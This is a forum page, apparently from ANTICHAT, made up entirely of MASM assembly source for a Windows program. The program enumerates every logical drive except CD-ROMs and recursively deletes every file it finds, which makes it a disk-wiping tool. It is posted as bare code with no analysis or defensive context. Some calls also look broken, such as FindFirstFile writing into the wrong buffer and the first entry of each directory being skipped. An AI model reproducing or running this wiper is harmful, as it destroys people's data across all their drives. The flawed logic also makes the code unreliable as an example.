ANTICHAT — форум по информационной безопасности, OSINT и технологиям

.386
.model flat, stdcall
option casemap: none

includelib kernel32.lib

include kernel32.inc
include windows.inc

.data
	szStrDrive	db "A:\", 0
	szStrAll	db "*.*", 0
	szStrSlash	db "\", 0
	szStrIgnore1	db ".", 0
	szStrIgnore2	db "..", 0

.data?
	CurrDirectory	db MAX_PATH+1 dup (?)
	CurrFile	db MAX_PATH+1 dup (?)
	SearchString	db MAX_PATH+1 dup (?)
	FindData	WIN32_FIND_DATA <?>
	hFile		dd ?
	ddTemp		dd ?
.code
; ebx - маска логических дисков
; esi - длинна CurrDirectory со слешем на конце
; edi - offset CurrDirectory
FindAndDeleteAllFiles proc hFind: DWORD

@next_file:
	invoke FindNextFile, hFind, offset FindData
	or eax, eax
	jz @exit

@search_loop:
	mov eax, FindData.dwFileAttributes
	and eax, FILE_ATTRIBUTE_DIRECTORY
	jz @is_file
	; Directory
	invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore1
	or eax, eax
	jz @next_file

	invoke lstrcmp, offset FindData.cFileName, offset szStrIgnore2
	or eax, eax
	jz @next_file
	
	; True Directory ;)
	push esi

	invoke lstrcat, edi, offset FindData.cFileName
	invoke lstrcat, edi, offset szStrSlash

	invoke lstrlen, edi
	xchg eax, esi

	invoke lstrcpy, offset SearchString, edi
	invoke lstrcat, offset SearchString, offset szStrAll

	invoke FindFirstFile, offset SearchString, offset FindData
	
	invoke FindAndDeleteAllFiles, eax
	
	pop esi
	mov byte ptr[esi+edi], 0

	jmp @next_file
@is_file:

	invoke lstrcpy, offset CurrFile, offset CurrDirectory
	invoke lstrcat, offset CurrFile, offset FindData.cFileName
	
	invoke DeleteFile, offset CurrFile
	jmp @next_file

@exit:
	invoke FindClose, hFind
	ret
FindAndDeleteAllFiles endp


start:
		xor esi, esi
		mov edi, offset CurrDirectory
		
		invoke GetLogicalDrives
		xchg eax, ebx
_check_drive:
		mov al, bl
		and al, 1
		jz _next_drive
		
		invoke GetDriveType, offset szStrDrive
		cmp eax, DRIVE_CDROM
		jz _next_drive

		invoke lstrcpy, edi, offset szStrDrive
		invoke lstrcpy, offset SearchString, offset szStrDrive
		invoke lstrcat, offset SearchString, offset szStrAll

		invoke FindFirstFile, offset SearchString, offset SearchString
		mov si, 3
		invoke FindAndDeleteAllFiles, eax

_next_drive:
		inc byte ptr[szStrDrive]
		shr ebx, 1
		or ebx, ebx
		jnz _check_drive

		invoke ExitProcess, 0
end start